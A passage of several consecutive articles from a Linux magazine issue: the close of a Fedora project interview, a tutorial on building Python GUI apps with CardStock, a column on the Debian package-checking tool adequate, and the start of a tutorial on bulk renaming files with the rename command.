project, and for IBM to directly contrib- What are the advantages of immutable and hardware – would be free and open
ute more. desktops, and why does Fedora develop source. Unfortunately, we’re far from
However, I don’t think “the end of them? that world. Computers today are very
CentOS” is the right framing. When complex and actually made up of lots of
Red Hat brought CentOS into the com- MM: Our immutable desktop work came little components which are themselves
pany almost a decade ago, there was a out of CoreOS – a server- and cloud-ori- little special-purpose computers. To
lot of work to move that project from ented flavor of Fedora Linux that is function, these require their own soft-
just a close-knit team with pretty based on work from Red Hat’s Project ware – it doesn’t run on the main CPU
tightly-closed processes to a more open Atomic and the original CoreOS distribu- but is loaded into the devices. This is
one. For example, before then – kind of tion. In a traditional Linux distribution, “firmware.” Even if you built it yourself
like the old Red Hat Linux beta pro- each system consists of an assemblage of from components, most computers today
gram, really – CentOS development software packages put together on that require at least some such loadable firm-
versions were only available to a select very system. This means that even when ware, and that usually comes from the
few, until it was declared ready and re- you want to have identical systems, device vendors in the form of binary
leased. Red Hat really wanted to grow there can be subtle – or not so subtle – blobs – not open at all. To get a main-
a contributor community around the differences. With CoreOS, we use a sys- stream consumer laptop running, there’s
project, but never really figured out tem that puts together package configu- no choice.
how, or never hit the right fortunate rations centrally, and every system runs There are a few distributions that meet
combination. A big user community, some checkpointed version of that, so the FSF’s definition of a free distribution,
definitely – but not really community you can verify that they’re actually really but they work on only very select hard-
development. There wasn’t a clear the same. ware. In Fedora, we require everything
path from CentOS to RHEL develop- In this model, rather than adding more in the operating system itself to be free
ment, and trying to fit Fedora with that packages to run workloads, you use con- and open source, but we allow non-open
made it even more messy. tainers for your actual applications. A lot source firmware files (as long as they are
So that really wasn’t working. of people liked this idea so much that legally redistributable). If we didn’t, Fe-
CentOS Stream is a much better model, they wanted to extend it to the desktop, dora Linux would only be accessible to
and there’s now a clear flow from Fe- which is how Fedora Silverblue was really dedicated niche hobbyists – and
dora Linux to CentOS Stream and into born. Same basic concept: a central defi- even those folks would probably have to
RHEL – from community-driven to nition of the main operating system and forgo a lot of functionality. We’ve chosen
product. I know people are cynical then containers (or Flatpaks) for your to function this way because we believe
about the end of traditional CentOS applications. it allows free and open source software
Linux, but as I see it, this really is a This makes it a lot easier to do qual- to make a real world impact it just
logical evolution towards more open- ity engineering and support – I think couldn’t otherwise.
ness. We no longer resort to literal that’s really the main thing. There are (As an aside – much of the hardware
M.C. Escher drawings to try to explain also some other nice effects: System up- that is sometimes “blessed” as not re-
the relationship. Instead of overlap, dates happen in the background and quiring binary-blob firmware actually
confusion, and almost-accidental apply instantly when you reboot, and if has such firmware, just preloaded and

[Link] ISSUE 275 OCTOBER 2023 41

REVIEW
Distro Walk – Fedora

inaccessible. Or, it may even be repre- between releases would be large and the 2. All of the software in Fedora Linux is
sented in a custom chip implementing integration process a lot more involved. free and open source – you can do
specific algorithms. The FSF, as I under- (We know for sure, because we see Red what you like with it and share it with
stand it, takes the position that this par- Hat do that for RHEL.) Likewise, we your friends. Plenty of software under
adoxically makes this hardware more don’t try to do long-term maintenance, restrictive licenses works on Fedora
free. I really don’t think it does. Really, because that’s really a huge amount of Linux (and some of that is easily
that’s a line drawn for convenience, and work that would hold us back. available from third-party sources like
we simply choose to draw ours in a dif- Again, though, we want this to really Flathub – for example, you can install
ferent place.) be consumable by regular folks, so each Steam that way without a fuss), but
release has a 13-month life cycle. That you know what you’re getting and can
LM: How is Fedora governed? means that you don’t need to update make your own choices.
twice a year. You can wait until it’s con- 3. Fedora Linux is also incredibly flexi-
MM: Our top-level leadership and gover- venient for you, even skipping a release ble! We have many different editions
nance body is the Fedora Council. We if you like. and spins for different use cases, sup-
have a mix of hired roles (like mine), port lots of different hardware, and in-
community-wide elected seats, and posi- LM: Does Fedora have any unique stan- clude a huge repository of software
tions filled by selection of various other dard applications? that all works together.
teams. We make decisions by a consen-
sus process, which means that every- MM: We try not to! Some Linux distribu- LM: What can you say about Fedora’s
one’s voice must be heard – we don’t tions are really showcases for a particu- future directions?
have majority-vote decisions. Because lar idea about a desktop environment or
Fedora is so big, we have a lot of differ- a coherent set of utilities and applica- MM: In the past few years, we’ve seen
ent committees as well. Technical deci- tions. In fact, those are often down- a lot of growth and interest from new
sions are made by an all-elected steering streams of a “base” distribution like Fe- audiences and new people who are
committee, and we have a similar body dora Linux or Debian. We see that as eager to get involved. We aim to dou-
for our outreach, user support, and mar- more our role: If you have something ble our number of contributors within
keting efforts. unique and interesting you’d like to the next five years. As any tech jour-
show off, you don’t need to reinvent and nalist knows, the future is always sur-
LM: Fedora has the reputation for being build the whole OS. You can just focus prising – we don’t know what will be
an early user of new applications and on the part you care about and work hot in 2030, but we know that our
software. Is this a stated goal? How does with the rest of our community for ev- community will be ready for whatever
it affect development? erything else. that is. Q Q Q

MM: Yeah, this is absolutely a goal! LM: Name at least three reasons why a Info
We’ve identified our core values as user might choose Fedora? [1] Fedora Project:
“Friends, Freedom, Features, First” – and [Link]
this commitment to innovation is First. MM: [2] FSF on Fedora: [Link]
We want to make sure that our software 1. Our OS is built by a growing commu- distros/[Link]
is actually functional and useful and nity of users and contributors. Anyone
available to a general audience, so we can join and choose to contribute – to Author
try to avoid the so-called “bleeding make it better, to network and make Bruce Byfield is a computer journalist and
edge,” but we want to bring all of the friends, or just for fun. Getting in- a freelance writer and editor specializing
amazing ideas and work in the whole volved is not just for software engi- in free and open source software. In
world of free and open source software – neers – we need writers, designers, addition to his writing projects, he also
teaches live and e-learning courses. In his
and all of those Features – to users as people with organizational skills,
spare time, Bruce writes about Northwest
soon as they're ready. communicators, artists, and more. Coast art ([Link]
We’ve found that a six-month release Even just by using Fedora Linux, you com). He is also co-founder of Prentice
cycle is a good way to do that. If we become an important part of this col- Pieces, a blog about writing and fantasy at
made it longer than that, the jump laborative effort. [Link]

QQQ

42 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
CardStock

Creating a graphical Python app with CardStock

The Dealer
CardStock provides a simple development environment for building a Python graphical application.
By Marco Fioretti

C
ardStock [1] is a multiplatform Installing CardStock when you want to use them. Assuming
software development tool in- The easiest way to install CardStock on you saved your CardStock program as
spired by Apple’s HyperCard. any Linux distribution involves a two- [Link], you can run the program
CardStock’s simple design step process. First, install the libasound by either typing
greatly facilitates building graphical Py- and libwebkit2gtk development libraries
thon programs that can run either on from your distribution’s native reposito- csviewer [Link]

your desktop or online as a web appli- ries. Second, install CardStock with pip,
cation (Figure 1). You can use Card- Python’s package manager. On Ubuntu at the prompt or defining csviewer as the
Stock to augment your applications 22.04, installation looks like this: handler of .cds files in your file manager
with text, graphics, images, buttons, or desktop environment.
text entry fields, and Web Views. You sudo apt install libasound2-dev U
can even play sounds and add clip art. libwebkit2gtk-4.0-dev The CardStock Stack
In this article, I explain how to install pip3 install cardstock Designer
CardStock on Linux, how it works, and Both visually and structurally, CardStocks
how to get started. The CardStock manual warns that the programs are stacks of cards that run one
second step, which also installs the wx- at a time, each with its own user interface.
Python graphical toolkit, “can take a Each stack can contain multiple graphical
very long time to build.” In my case, pip objects and custom Python code.
took about 20 minutes to install wxPy- You build your stack in the Designer
thon on a computer with an i5 CPU run- (Figure 2), CardStock’s graphical inter-
ning at 1.6GHz and 16GBs of RAM. face. In the Designer, the left panel is
When pip finished, I found two exe- where you add cards and fill the cards
Lead Image by Unsplash Amol Tyagi

cutable files called cardstock and cs- with objects. The right panel hosts a
viewer installed in $HOME/.local/bin. The property editor (top) and a code editor
cardstock file, the development environ- (bottom), where you can see and edit all
ment shown in the figures for this arti- of the current object’s properties.
cle, saves your Cardstock programs as In the property editor top right, the
Figure 1: This calculator is just one one file with a .cds extension. The other leftmost button in the toolbar is the ob-
of the many CardStock programs file, csviewer, is the interpreter that will ject selector (called the hand tool in
you can run on [Link]. actually load and execute those files CardStock’s documentation). The hand

[Link] ISSUE 275 OCTOBER 2023 43

IN-DEPTH
CardStock

+ Add Event button in the code editor

shows all the events applicable to that
object. After selecting an event, you can
enter the code that describes what
should happen to the object whenever
that event happens.
In Figure 3, I first clicked on the
Image button (fifth from the left) to add
a screenshot of the Linux Magazine
home page and then rotated it 45 de-
grees counter-clockwise (shown as 315 –
that is 360 minus 45 – for the image’s
rotation property).
Then, I clicked on + Add Event (for a
description of the main CardStock
events, see the “CardStock Events” box),
selected on_periodic, and inserted code
Figure 2: The Designer’s default configuration, plus a demo. that tells the image to rotate 45 degrees
clockwise, around its center, every time
tool lets you select, resize, drag, and Python code to any stack component. the event happens (i.e., about 30 times
drop objects on a card. You do this in the Designer’s code edi- per second). As shown in Figure 3, the
The other buttons in the property edi- tor (shown in Figures 3 and 4, bottom code editor prompts you with the events
tor toolbar add graphical elements, all right). that can be applied to the current object
controllable with Python code. In addi- Compared to heavyweights like via a context menu.
tion to basic geometric figures, Card- Emacs, vi, or Kate, the CardStock editor Next, using the hand tool to select it,
Stock supports several types of clickable is pretty basic. However, it has all the I went back to configure the card. I
buttons as well as text entry fields, Web basic functions: keyword suggestions changed its fill_color to yellow (Fig-
Views (more on this later), images, and and autocomplete, syntax highlighting, ure 4) in the property editor. In the
text labels. The pencil button in the mid- error highlighting, and Python regular code editor, I also defined the on_show_
dle lets you draw freehand. expressions to find and replace text. card(self) event to tell the CardStock
All in all, the Designer is quite easy to CardStock also has a help function that viewer to wait three seconds every
use. Until you get to actual coding, shows information about the most re- time that card is shown and then auto-
building software programs with Card- cently selected property or event. matically move to the next card. Figure
Stock feels a lot like creating a slideshow Whenever you create an object, or 4 also introduces what’s probably the
with LibreOffice Impress or similar pro- select an existing one, clicking on the most ubiquitous variable in CardStock:
grams. All of the objects are blocks of
software code, but you can add objects
to a card and then delete, move, resize,
align, and group them, similar to an Im-
press slide. The main difference between
Impress and CardStock is that each card
and object must have a meaningful,
unique name. If you don’t do this, Card-
Stock will assign obscure strings to each
component, making your stack harder to
document and debug.
You can drag and drop objects, change
their style (e.g., with or without visible
borders), and then adjust their position by
one or more pixels at a time by moving
them while you press the Shift or Alt keys.
If necessary, you can even distribute ob-
jects in several overlapping layers, with the
exception of text fields and Web Views,
which must stay in the topmost layer.

The Code Editor Figure 3: You set each object’s initial properties in the property editor
What makes CardStock really useful is (upper right). Behavior during execution is controlled by events
how easy it is to attach event-driven defined in the code editor (bottom right).

44 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
CardStock

CardStock Events moves the object from its current posi-

tion and centers it at the coordinates 400
CardStock supports lots of events. Some events are at the stack level. For example,
on_resize() makes the stack redraw itself when you resize its window. Other events
and 100 (in pixels) on the object’s card,
only involve single cards or single objects. taking three seconds to complete the
action.
Due to space contraints, I’ve provided a few examples for each category (for the entire
Another way to move objects is to as-
list, see the CardStock Reference guide [2], included in the official wiki [3]).
sign speed, in pixels per second, along
The on_setup() event applies to both cards and objects. It lets you set the initial value
the X and Y axes of the object’s card,
of every variable available for the stack or objects. I recommend using this event to
and set both values to 0 when the ob-
avoid unpredictable behavior.
ject must stop:
The on_show_card(self) event describes what happens as soon a card is shown (see
Figure 4 for an example). Its counterpart, on_hide_card(), does the exact opposite.
[Link]=[0,30]
The on_periodic() event happens inside every object or card, approximately 30 times per [Link]=[0,0]
second (see Figure 5). Use this event for any check or code that must run continuously.
The on_message() and broadcast_message() events make their recipients execute the You can also change the speed on each
code they contain. With on_message(), the code only applies to the object it is attached axis automatically by adding statements to
to. You call it, for example, by writing OBJECT_NAME.send_message(). As its name implies,
an object’s on_periodic() event as follows:
broadcast_message() goes to all of the components in the stack.
At a lower level, on_click() describes what happens when you click on an object, [Link].y -= 30
while on_mouse_enter(), on_mouse_exit(), and on_mouse_move() run when the cursor en-
ters, leaves, or moves inside an object without clicking any button. To make some-
Other object properties can also be ani-
thing happen when you press the main mouse button inside an object, use on_mouse_
mated. For instance, to gradually change,
press() or on_mouse_release().
over two seconds, the background of a
CardStock also can run code in response to key presses, with events like on_key_
card from its current color to red, you
press(self, key_name) or on_key_hold(). Like on_periodic, these events are called ap-
would use
proximately 30 times per second, for every key that remains pressed.

card.animate_fill_color(2, 'red')

self. The self variable basically means captured during continuous rotation
that the code that follows applies to with the image upside down. You can control the execution of these
the same object that triggers the cur- CardStock also lets you move and ani- or any other animations by attaching
rent event. mate objects in more complex ways. The them to an event. For example, associat-
Figure 5 shows the results of the code command ing the command above with an on_
from Figures 3 and 4: The card that is mouse_enter event would cause the card
running in the CardStock viewer is object.animate_center(3, [400,100]) to change to red whenever a mouse
pointer enters the current object.
When doing this, keep in mind that
different animations happen simultane-
ously, while commands of the same type
are executed sequentially. To end all of
an object’s animations, use the object.
stop_animating() event.

Figure 5: The CardStock card

viewer executes the programs
Figure 4: CardStock treats cards and objects in the same way: You created with the Designer. Notice
define their properties in the property editor and their events in the how the screenshot has rotated in
code editor. respect to its initial position.

[Link] ISSUE 275 OCTOBER 2023 45

IN-DEPTH
CardStock

Figure 6: You can control almost

every parameter of a CardStock
text label.

If you are interested in text process-

ing, you can use CardStock to build Figure 7: A CardStock text entry field, placed below the label defined in
data entry forms. While these forms Figure 6, with a default value.
are not visually appealing, they are
very practical and easy to assemble If needed, you can even limit browsing Before exporting, however, you first
(Figures 6 and 7). to certain domains. You do this by ex- need to ensure that your application
plicitly listing the domains in the al- works as intended. To do this, you can
Web View lowed_hosts property. Optionally, you check if your stack is working at any
CardStock lets you embed a basic web can run the following JavaScript code on time by clicking the Run Stack button in
browser in your stack. Using the globe the web page you load: the toolbar or choosing the same option
icon (the fourth button from the left in in the File menu. Alternatively, you can
the Designer property editor toolbar), webview_1.run_java_script(U select Run From Current Card and run
you can create a Web View. A Web View "YOUR JavaScript CODE HERE") the stack from that point.
can render local pages (i.e., HTML code For complete debugging, selecting
that you assign to the HTML property) or Testing and Debugging Show Console in the menu opens a con-
load the actual web page designated in Once you’ve built a stack, you can export sole where you can enter Python com-
the URL property (Figure 8). it as a desktop or web application by sav- mands and check the values of some
Web Views don’t compare with Firefox ing your stack with all the images, audio variables and read error messages, as
or Chrome due to speed, but Web Views files, and Python modules it needs. For well as anything your stack prints with
function as actual browsers and can web applications, CardStock uploads your the print() function. Indeed, if your
greatly extend your CardStock program’s program to [Link]. If you stack contains any call to print(), the
use cases. In Figure 9, for example, I don’t already have an account, it can help Console will open by itself the first time
used the search function of the Linux you set one up. After the upload, your web print() is used.
Magazine website in my CardStock stack application will get a unique URL that any- A better option is to use the Variable
to search for my articles. body can load in their browser and run. Inspector and the Error List for vari-
ables and error
messages, respec-
tively. The Vari-
able Inspector
(Show | Hide Vari-
ables) provides a
compact, interac-
tive view of all the
variables in the
stack and lets you
change them
while the stack is
running.
The Error List,
available from the
Help menu, shows
Figure 8: CardStock applications Figure 9: A CardStock Web View offers all the essen- each error as a
can even browse the Internet! tial functionality of a real web browser. clickable link to

46 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
CardStock

the line of code that produced it. Fi- Conclusions Much like shell scripts, .cds files are
nally, Help | All Code shows all of your Now that you know the basics, the most just plain text files that tell the Card-
stack’s code. efficient way to learn programming with Stock viewer what it should draw and
CardStock is to study and hack the many do. This means that you can copy, paste,
examples available from the CardStock mix, or even generate CardStock pro-
File menu. grams automatically by having other
In my opinon, the most intriguing part software write .cds files.
of CardStock is that its executable .cds Even ignoring this feature, I recom-
files are not binary files; they are plain mend CardStock as a fun, efficient, and
text files. If you compare the portion of well-documented way to start learning
the .cds file shown in Figure 10 with Fig- Python programming, which may have
ure 3, you will immediately see that very practical applications in schools
image settings and event definition in and small businesses. Q Q Q
Figure 3 make up the source code shown
in Figure 10! Author
Marco Fioretti (http://
Info [Link]) is
[1] CardStock: a freelance author,
[Link] trainer, and researcher
based in Rome, Italy, who
[2] CardStock Reference:
has been working with
[Link]
free/open source soft-
CardStock/wiki/Reference
Figure 10: The CardStock source ware since 1995 and on
code shown here corresponds to [3] CardStock wiki: open digital standards since 2005. Marco
the image settings and event defi- [Link] also is a board member of the Free Knowl-
nition shown in Figure 3. CardStock/wiki edge Institute ([Link]
IN-DEPTH
Command Line – adequate

Quality-testing for Debian packages

More Than
Adequate
The adequate command-line tool helps users pinpoint problems (e.g., the absence of a copyright notice).
Nonetheless, by running any package
with installed DEB packages. By Bruce Byfield through adequate, average users can pin-

L
point the source of problems, possibly re-
ike less and most, adequate’s [1] can be a gamble. You should rarely need pair them, and file more meaningful bug
name is an both an understate- adequate in Debian Stable, whose pack- reports. However adequate is used, it of-
ment and a mild joke. A tool for ages have been thoroughly tested by the fers an insight into the structure of
analyzing the quality of installed time they are placed in the repository Debian and its derivatives.
DEB packages, adequate is actually a rig- and may have been updated to fix bugs The Debian Policy Manual, which ade-
orous test of quality control based on the and plug security holes. Similarly, in quate is based on, is a lengthy document
Debian Policy Manual [2], which makes most cases, packages from Testing that describes the structure of Debian
its results far beyond adequate. Like should also be reasonably safe. However, packages and repositories. It has grown
many Debian packages, adequate was packages in Unstable are much more of tremendously since first written in 1996
written for maintainers, but it is also a a gamble, not least because some devel- by Ian Jackson. Although little known to
useful tool for cautious average users. opers place new packages directly into casual users or outsiders, the Debian
You can find adequate in the reposito- Unstable rather than introducing them Policy Manual has frequently been de-
ries of Debian, Ubuntu, and Linux Mint. into Experimental. scribed by Debian members and officers
Average users will find adequate useful Outside the Debian structure, the risk is as what makes Debian what it is, rather
because, as mentioned in a previous col- even higher, whether you are using pack- than the packaging system or any other
umn [3], using a variety of repositories ages that originate in a Debian derivative core software. The Debian Policy Manual
such as Ubuntu or a development plat- covers a wide variety of subjects, rang-
Author form such as Ubuntu’s Personal Package ing from the naming of packages, ver-
Bruce Byfield is a computer journalist and Archives (PPA), GitHub, or GitLab. On sioning, package descriptions, depen-
Lead Image © rudall30, [Link]

a freelance writer and editor specializing such development platforms, any pack- dencies, required fields, pre- and post-in-
in free and open source software. In ages the developers take time to make is stall scripts for both binary and source
addition to his writing projects, he also sometimes second in importance to cod- files, and breaking or conflicting pack-
teaches live and e-learning courses. In his
ing, or they are made by someone with ages. If adequate detects no violations of
spare time, Bruce writes about Northwest
Coast art ([Link]
limited knowledge of Debian packaging. the Debian Policy Manual, you can be
com). He is also co-founder of Prentice Any standards are a matter of personal reasonably sure that installing a package
Pieces, a blog about writing and fantasy at preference. Not all the data provided by will not cripple your system or require
[Link] adequate is relevant to ordinary users long hours to undo.

48 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
Command Line – adequate

Figure 1: The start of adequate‘s report on all installed packages.

Using Adequate adequate --all --tags -TAG1,TAG2

You can use adequate in several ways.

The structure reports on all the packages installed on a lists tags not to be checked (notice the
system (Figure 1). To be specific, you minus sign before the list of tags). With
adequate PACKAGENAME can use the option with the tags listed in any of these structures, the --debconf
the man page (see Table 1). If a tag iden- option displays any results using deb-
reports on a single package, using only the tifies a problem, you may find an expla- conf, Debian’s commmand-line GUI
package name without a version number nation in the corresponding section of (Figure 2).
(i.e., coreutils, not coreutils-9.1-1). If no the Debian Policy Manual or, occasion- At least theoretically, false positives
problems exist, adequate exits without ally, some other Debian documentation. can occur. If, after reading the man page
feedback. More comprehensively, Conversely, documentation, you are confident that

Table 1: Tags to Pinpoint Specific Problems

Tag Meaning Debian Policy Manual Reference or Other
bin-or-sbin-binary-requires-usr-lib-library The binary in /bin or /sbin that requires a
library in /usr/lib. It is impossible to use this
binary before /usr is mounted.
broken-binfmt-detector The detector registered with update-
binfmts(8) does not exist.
broken-binfmt-interpreter The interpreter registered with update-
binfmts(8) does not exist.
broken-symlink A symlink points to a nonexistent file.
incompatible-licenses The licenses of the libraries the binary is
linked to are incompatible.
ldd-failure Running ldd -r on the file failed unexpectedly. [Link]
library-not-found Library missing, possibly because of a 6.5: Summary of ways maintainer scripts
broken symlink are called; 12.5: Copyright information
missing-alternative This package manager provides a terminal 11.8.3: Packages providing a terminal
emulator, but it is not registered as an emulator; 11.8.4: Packages providing a
alternative or a virtual package. window manager
missing-copyright-file No copyright file provided 6.6: Details of unpack phase of installation
or upgrade; 12.5: Copyright information
missing-pkgconfig-dependency Dependency of a pkg-config (.pc) file not 8.4: Development files
provided.
missing-symbol-version-information The binary’s library provides only
unversioned symbols.
obsolete-conffile The conffile that previously shipped with the [Link]
package in no longer included in the current DpkgConffileHandling; dpkg-maintscript-
version, but the conffile has not been helper(1)
removed or updated.
program-name-collision This package has the same name as another 10.1: Binaries
program.
py-file-not-bytecompiled This package ships Python modules that are Python Policy 2.6
not byte-compiled.
pyshared-file-not-bytecompiled This package ships Python modules in /usr/ Python Policy 1.5; Python Policy 2.6
share/pyshared that are not byte compiled.
symbol-size-mismatch The symbol has changed size since the
package was built.
undefined-symbol The symbol has not been found in the
libraries linked with the binary.

[Link] ISSUE 275 OCTOBER 2023 49

IN-DEPTH
Command Line – adequate

adequate has uncovered a bug, you can major requirements are followed, it may looking at the source code or using the
paste adequate’s results into a bug report. not detect optional or discouraged prac- --apt-preinst to view the preinstall
If you are uncertain, contact debian-qa@ tices. Just as importantly, adequate does scripts. What adequate provides is
[Link] first. not detect whether a package does what package data that can help users locate
it is supposed to do. All it detects is the source of any problems. Q Q Q
A Cautionary Note whether a package’s structure conforms
Near its start, the Debian Policy Manual to the Debian Policy Manual’s expecta- Info
warns [4]: “This manual cannot and does tions. That is worth knowing, but it is [1] adequate: [Link]
not prohibit every possible bug or unde- not a comprehensive guarantee. unstable/adequate/[Link]
sirable behaviour. The fact that some- For that reason, adequate should be [2] Debian Policy Manual: [Link]
thing is not prohibited by Debian policy combined with a basic caution. Simply [Link]/doc/debian-policy/
does not mean that it is not a bug, let put, a package with few dependencies, [3] “Tips for Mixing Safely” by Bruce By-
alone that it is desirable.” or with no fixed, obsolete, or cutting- field, Linux Magazine, issue 266, Janu-
A little further down, the manual lays edge version requirements, is less ary 2023, [Link]
out the terms used to describe what must likely to cause any systemic problems. com/Issues/2023/266/Mixing-Debian-
be done, as opposed to best practices, This information can be easily found Repositories/(language)/eng-US
and what is optional or discouraged. on the Debian packages’ web pages for [4] Debian Policy Manual scope:
The same limitations also apply to ad- the Unstable or Experimental reposito- [Link]
equate. While adequate detects whether ries, or, with exterior packages, by debian-policy/[Link]

Figure 2: The debconf command-line GUI is one way to display adequate‘s results.

QQQ

50 OCTOBER 2023 ISSUE 275 [Link]

IN-DEPTH
rename

Bulk renaming files with the rename command

Names Have
Been Changed
The rename command is a powerful means to simultaneously rename or even move multiple
files following a given pattern. By Michael Williams

U
sers often have to rename a col-
from your camera, or maybe you are renaming files with a text-based com-
lection of related files according
working with files created on an old Mi- mand is usually faster than using a
to a specific pattern. You might
crosoft Windows or MS-DOS system that graphical tool. Plus, Thunar’s Bulk Re-
have logfiles with dates and are all uppercase, and you want to give name tool, although powerful, is still
times in the file name, but the dates are
them more readable file names. limited in its flexibility. For example,
not written in your preferred format Changing the names of a few files by while Bulk Rename can rename files, it
(20230315 instead of 15-03-2023). Perhaps
hand may be manageable, but changing usually cannot move files from one di-
more than a dozen files quickly becomes
you have a collection of digital photos rectory or group of directories to
not only tedious another.
but error-prone. This article takes a deep look at the
Linux does have rename command [2], a very powerful
some tools that command-line tool written in Perl that
will rename files you can use for bulk renaming and a
in bulk. Most no- whole lot more.
tably, the Thunar
file manager [1] Getting Started
has a very flexible If you don’t have rename on your system,
Bulk Rename tool you can install it on Debian, Ubuntu,
(Figure 1), with and derivatives with the following
several powerful command:
built-in pattern-
Photo by CHUTTERSNAP on Unsplash

matching criteria sudo apt install rename

from which to
choose, making The rename command has the following
the tool sufficient syntax:
for most use
Figure 1: The Bulk Rename tool features many cases. rename [options] [expression] [files]

advanced capabilities, but it may not be as efficient Once you get

as a command-line tool in the hands of an used to the com- The files are one or more files to rename.
experienced user. mand line, As with other command-line tools,

52 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
rename

Table 1: Useful rename Options In addition, rename accepts one or

Option Meaning more options (see Table 1 for the most
-n, --nono Does not rename or move any files. This option is most useful useful options).
when combined with the -v option, to show what would be
done without actually renaming any files. A Basic Example
-v, --verbose Prints each file’s name, both before the expression is applied For my first example, I have some HTML
and after. This is useful to test the effects of the rename ex- files of Wikipedia articles that I down-
pression, especially when combined with the -n option. loaded using my web browser (see List-
-f, --force Proceeds with renaming the files, even files which, once re- ing 1). My web browser conveniently
named, would have names that clash with existing files. Nor- named each web page after the page’s
mally, rename will not rename a file if a file already exists with title. However, each page’s title (and
that name. When used, the renamed file will overwrite any ex-
thus file name) ends with a hyphen fol-
isting file with the same name. Use with caution.
lowed by the word “Wikipedia,” which
--path, --fullpath Operates on the file’s full pathname, not just the file name it-
is redundant and unnecessarily length-
self. For example, replacing all instances of the word JPG with
ens the name of each file.
JPEG on the file at Pictures/JPGs/[Link] not only renames the
file to [Link], but moves the file to Pictures/JPEGs/[Link] as To remove the trailing “Wikipedia”
well. This is rename‘s default behavior, so you should rarely and the hyphen, I will search for files
need to specify this option explicitly. whose names end with a space, a hy-
-d, --filename, --no- Operates only on the name of the file itself, rather than the full phen, another space, the word “Wikipe-
path, --nofullpath pathname of the file. Replacing all instances of the word JPG dia,” and the string “.html” and replace
with JPEG in the file at Pictures/JPGs/[Link] will rename the all that with just the string “.html” using
file to Pictures/JPGs/[Link]. the following command:
-u, --unicode Normally, rename expects file names to be plain ASCII text.
This option specifies Unicode format. An optional parameter rename 's/ - Wikipedia\.html$/.html/' U
specifies the exact character encoding for the file names. *.html

standard shell wildcards such as *.png or individual letters) – to change uppercase The s/// command searches for the part
file[0-9] are permitted. file names to lowercase. of the file name matching a pattern (en-
The expression consists of commands However, the expression can actually closed between the first two slash char-
to match and change parts of the file be almost any valid Perl code that oper- acters as shown in annotation 1 in Fig-
names; the results of applying the expres- ates on strings. If you are interested in ure 2) and replaces the matched text
sion to each file name are used to give the Perl expressions, see the official Perl with some other text (enclosed between
file a new name. Usually, you will specify documentation [3]. However, it is un- the second and third slashes, annota-
only one command – the s/// command likely that you’ll need more than the tion 2 in Figure 2). Listing 2 shows the
for searching (or, less often, the y/// com- s/// and y/// commands for changing results of running this s/// command.
mand for exchanging or transliterating file names.
Listing 2: New File Names After Running rename
Listing 1: HTML File Names with Redundant Text 01 $ rename 's/ - Wikipedia\.html$/.html/' *.html

$ ls -N 02 $ ls -N

IEEE 754 - [Link] 03 IEEE [Link]

Iron oxide - [Link] 04 Iron [Link]

Key Code Qualifier - [Link] 05 Key Code [Link]

Wikipedia - [Link] 06 [Link]

Figure 2: A simple but typical rename command: The command searches for the search text (1) and replaces
any occurrence of it with the replacement text (2) in each of the supplied file names (3).

[Link] ISSUE 275 OCTOBER 2023 53

IN-DEPTH
rename

Note the backslash (\) character pre- named - [Link], - Wikipedi- match occurs at the end of the file name.
ceding the dot character (.) in the search azhtml, - Wikipedia!html, and so on. For example, the file Key Code Quali-
term (line 1 of Listing 2). The search ex- In practice, the set of files I want to re- fier -- [Link] would be
pression uses regular expression syntax name contains nothing besides files of matched by the regular expression I
[4], and the dot character has a special the form [x] - [Link], so escap- used in Listing 2, but the file Z - Wiki-
meaning in regular expressions. When ing the dot character is unnecessary in [Link] (which includes an extra
not preceded by a backslash (known as this case. However, when formulating trailing .gz) would not be matched. As
an escape), a dot character will match search terms, it is good to be as specific with the dot character, to match a lit-
not only a single dot character in the file as possible. eral dollar sign character in the file
name, but will match any kind of char- The dot character is one of several name, the dollar sign must be preceded
acter. If I had not escaped the dot and metacharacters that have a special by a backslash.
had instead searched for simply - Wiki- meaning in regular expressions (see You may also specify one or more char-
[Link] with a leading space, the Table 2). The dollar sign ($) at the end of acters following the final slash in the s///
search expression would have matched the search expression tells rename to command. These characters further mod-
files (again all with leading spaces) match part of a file name only if the ify the behavior of the search-and-replace

Table 2: Regular Expression Metacharacters

Metacharacter Meaning
\ (backslash) Escapes the character immediately following the backslash so that the immediately following character
is interpreted literally and not as a metacharacter itself. Use two consecutive backslashes (\\) to match
a single literal backslash character.
. (dot) Matches any single character.
[ and ] (square brackets): Matches any one of the characters enclosed within the square brackets. For example, [Ahk7~] matches
A, h, k, 7, or ~, but no other characters and no combination of two or more characters. Ranges of charac-
ters are also supported; for instance, [A-Z] matches any single uppercase letter, and [A-Za-z0-9]
matches any single numeric digit or upper- or lowercase letter. If a caret (^) immediately follows the
open square bracket, the matching is inverted, and the square bracket expression will match any char-
acter not present within the square brackets; thus, [^A-Z_] matches k, 6, and #, but not K, Z, or an un-
derscore (_).
( and ) (parentheses) Combines parts of a regular expression that would normally be considered separate, as well as sepa-
rates parts that would otherwise be considered one component. For example, (b|c|f)ar would match
bar, car, or far, whereas without the parentheses (b|c|far) it would match b, c, or far but not bar or
car. Anything within a pair of parentheses is grouped together into a single sub-expression, and other
metacharacters will operate upon the parenthesized sub-expression as one unit; so (me)+ will match me,
meme, mememe, and so on.
? (question mark) Marks the previous character as optional (i.e., the character may either not occur or may occur exactly
once). For example, z? matches either z or an empty string, but will not by itself match zz or zzzzzzz.
* (asterisk) Causes the previous character in the search string to match no matter how many or how few times it
occurs in a row, even if it does not occur at all. For example, H* will match H, HH, HHH, HHHHHHHHHH, or
even nothing at all.
+ (plus sign) Like the asterisk, causes the previous character in the search string to match no matter how many or
how few times it occurs in a row, as long as it occurs at least once. For example, H+ will match H, HH,
HHH, HHHHHHHHHH, but not an empty string.
{ and } (braces) Causes the previous character to match if it appears a number of times, that number being between an
upper and lower range specified between the braces. For example, k{2,6} matches between two and
six letter ks in a row, but not seven or more, not a single k, and not an empty string. k{,6} is equivalent
to k{1,6}, and k{3,} matches three or more letter ks in a row.
| (pipe) Matches either of two (or possibly more) sub-expressions. For example, cat|walrus matches either cat
or walrus, (cat|walrus)walk matches either catwalk or walruswalk, and cat|lion|weasel matches any
of the words cat, lion, or weasel.
^ (caret) Matches the start of a line. This does not match any real character by itself; it just marks that the next
